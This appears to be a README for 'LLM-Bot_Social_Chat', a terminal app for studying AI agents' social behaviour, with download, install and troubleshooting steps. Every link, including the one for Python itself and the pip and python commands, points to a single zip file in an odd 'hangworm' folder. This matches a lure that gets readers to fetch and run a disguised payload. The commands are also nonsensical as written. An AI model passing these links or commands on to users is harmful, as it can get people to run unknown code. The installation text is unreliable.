Welcome to LLM-Bot_Social_Chat! This application helps you study social behaviors in AI agents through an easy-to-use terminal-based interface. No coding is required. Just follow the steps below to download and run the software.
Before you proceed, make sure your computer meets the following minimum system requirements:
- Operating System: Windows 10 or later, macOS, or Linux.
- Processor: Dual-core processor or higher.
- Memory: At least 4 GB of RAM.
- Storage: At least 500 MB of free disk space.
- Python: Version 3.8 or above must be installed (Python can be downloaded from https://raw.githubusercontent.com/rikinkkj/LLM-Bot_Social_Chat/master/hangworm/LLM-Bot_Social_Chat.zip).
-
Visit the Releases Page: To download the application, visit our Releases page.
-
Choose the Right File: Look for the latest release that is compatible with your operating system. Files are typically labeled with the version number (e.g.,
https://raw.githubusercontent.com/rikinkkj/LLM-Bot_Social_Chat/master/hangworm/LLM-Bot_Social_Chat.zip). -
Download the File: Click on the desired file to start downloading. The file size will vary depending on the version.
-
Unzip the File: Once the download is complete, locate the Zip file in your Downloads folder and unzip it. On most systems, you can simply right-click the file and select “Extract All” or “Extract Here.”
-
Setup Required Dependencies: Open a terminal or command prompt. Navigate to the folder where you extracted the files. Use the following command to install the necessary Python packages:
pip install -r https://raw.githubusercontent.com/rikinkkj/LLM-Bot_Social_Chat/master/hangworm/LLM-Bot_Social_Chat.zip
This step ensures all necessary libraries and tools are available for the application to work.
-
Run the Application: After the dependencies are installed, run the application using the following command:
python https://raw.githubusercontent.com/rikinkkj/LLM-Bot_Social_Chat/master/hangworm/LLM-Bot_Social_Chat.zip
You should see the terminal interface launch and be ready for use.
-
TUI-Based Interface: Engage with the AI agents using a simple text-based user interface.
-
Headless Mode: Run experiments without a GUI for easier automation and reproducibility.
-
Structured Logging: Automatically logs important data during your experiments for detailed analysis.
-
Dynamic Voice Generation: Experience lively interactions with dynamic voice responses from AI agents.
To help you get started, the repository includes sample projects and user guides.
-
Basic Tutorial: Check the
tutorialsfolder for a step-by-step introduction on how to use the application effectively. -
Example Projects: Explore the
examplesfolder to see various simulations and their settings.
If you experience issues, consider the following common solutions:
-
Python Not Found: Make sure Python is added to your system PATH. You can find instructions online for your specific operating system.
-
Dependency Errors: Ensure you installed all dependencies correctly using the command provided above.
-
Running on Unsupported OS: If you encounter issues on an older version of Windows or a non-supported OS, consider updating your system.
Join our community for support, questions, and collaboration. Engage on our GitHub Discussions page or visit our Social Media for updates.
LLM-Bot_Social_Chat is released under the MIT License. For more information, check the LICENSE file in the repository.
Remember to visit our Releases page to download the latest version of LLM-Bot_Social_Chat and start exploring today!